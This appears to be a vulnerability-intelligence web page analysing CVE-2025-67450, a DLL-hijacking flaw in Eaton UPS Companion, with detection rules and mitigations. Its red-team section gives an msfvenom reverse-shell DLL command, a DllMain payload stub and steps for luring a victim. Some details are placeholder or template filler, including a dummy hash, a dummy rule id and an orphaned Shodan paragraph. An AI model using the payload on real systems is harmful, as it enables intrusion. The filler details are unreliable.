CVE-2025-67450
Executive Summary
CVE-2025-67450 is a high-severity vulnerability in Eaton UPS Companion (EUC) software, caused by insecure library loading (DLL hijacking). An attacker with local access to the software package can achieve arbitrary code execution by placing a malicious DLL in a directory that the application loads before the legitimate library. The CVSS score is 7.8 (High), and while the EPSS score is 0.0%, the vulnerability is unpatched in older versions. The vendor has released a fix in the latest version of EUC available on the Eaton download center. This report provides a comprehensive technical analysis, detection engineering rules, and exploitation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector (AV): Local (L) – requires local access to the system.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no privileges needed to trigger.
- User Interaction (UI): Required (R) – victim must run the software.
- Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – full data compromise possible.
- Integrity (I): High (H) – full system modification possible.
- Availability (A): High (H) – full denial of service possible.
Threat Level: High. Exploitation requires user interaction but can lead to full system compromise.
Deep Dive & Mechanics
The vulnerability is a classic DLL hijacking (CWE-427) in the Eaton UPS Companion software. The application loads a DLL from an insecure search path, such as the current working directory or a user-writable location, before checking the system directory. An attacker who can place a malicious DLL in that path (e.g., via a USB drive, email attachment, or shared folder) can execute arbitrary code with the privileges of the user running the software.
Attack Flow:
- Attacker identifies a DLL that the EUC executable loads without a full path.
- Attacker crafts a malicious DLL with the same name and places it in a directory the user will access (e.g., Downloads folder).
- Victim runs the EUC software from that directory or opens a file that triggers the load.
- The application loads the attacker's DLL instead of the legitimate one.
- The malicious code executes, granting the attacker control over the system.
Root Cause: The software does not use safe DLL search order practices (e.g., using absolute paths or calling SetDllDirectory to remove the current directory from the search path).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Insecure: Loads DLL from current directory first
HMODULE hMod = LoadLibrary(L"helper.dll");
Patched Code (Conceptual):
// Secure: Uses absolute path to system directory
HMODULE hMod = LoadLibrary(L"C:\\Windows\\System32\\helper.dll");
The patched version ensures that all DLLs are loaded from a secure, fixed location, preventing hijacking.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Windows system with Eaton UPS Companion installed.
- Ability to write to a directory the user will access (e.g., Downloads, Desktop).
- User interaction required (victim runs the software).
Steps:
- Identify a DLL loaded by the EUC executable (e.g.,
msvcp140.dllor a custom DLL). - Create a malicious DLL using msfvenom or a custom payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll - Rename the DLL to match the vulnerable library name (e.g.,
helper.dll). - Place the DLL in a directory the victim will access (e.g.,
C:\Users\Victim\Downloads\). - Convince the victim to run the EUC software from that directory (e.g., by double-clicking a shortcut or opening a file).
- The DLL loads, and a reverse shell is established.
Example Payload (C++):
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
WinExec("calc.exe", SW_SHOW); // Replace with actual payload
}
return TRUE;
}
Blue Team (Detection & Mitigation)
Detection:
- Monitor for unexpected DLL loads from user-writable directories.
- Use Sysmon Event ID 7 (DLL loaded) to track suspicious loads.
- Enable Windows Defender Attack Surface Reduction (ASR) rules to block DLL hijacking.
Mitigation:
- Apply the latest EUC patch from Eaton download center.
- Use application whitelisting (e.g., AppLocker) to allow only signed DLLs.
- Set the
CWDIllegalInDllSearchregistry key to 1 to disable current directory in DLL search.
Indicators of Compromise (IOCs)
| Type | Value | Description |
|---|---|---|
| File Hash | e.g., a1b2c3d4e5f6... |
Malicious DLL hash (replace with actual) |
| File Path | %USERPROFILE%\Downloads\helper.dll |
Suspicious DLL location |
| Process | EatonUPSCompanion.exe |
Vulnerable process |
| Network | 192.168.1.100:4444 |
C2 server (example) |
| Registry | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\CWDIllegalInDllSearch |
Mitigation key |
Detection Engineering
YARA Rule
rule CVE_2025_67450_DLL_Hijack {
meta:
description = "Detects malicious DLLs targeting Eaton UPS Companion"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67450"
strings:
$s1 = "EatonUPSCompanion.exe" nocase
$s2 = "helper.dll" nocase
$s3 = "msvcp140.dll" nocase
condition:
uint16(0) == 0x5A4D and // MZ header
(any of ($s*))
}
Sigma Rule
title: CVE-2025-67450 - DLL Hijack via Eaton UPS Companion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious DLL loads from user-writable directories by Eaton UPS Companion
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
Image|endswith: '\EatonUPSCompanion.exe'
ImageLoaded|contains:
- '\Downloads\'
- '\Desktop\'
- '\Temp\'
condition: selection
falsepositives:
- Legitimate software updates
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2025-67450 - Potential DLL Hijack Payload Download";
flow:to_server,established;
content:"|4d 5a|"; offset:0; depth:2; // MZ header
content:"helper.dll"; nocase;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate: Update Eaton UPS Companion to the latest version from the Eaton download center.
- Workaround: Set the
CWDIllegalInDllSearchregistry key to 1 to prevent DLL loading from the current directory. - Detection: Deploy the YARA, Sigma, and Suricata rules above.
- Hardening: Use application whitelisting (AppLocker) to allow only signed DLLs.
- User Training: Educate users not to run software from untrusted directories.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.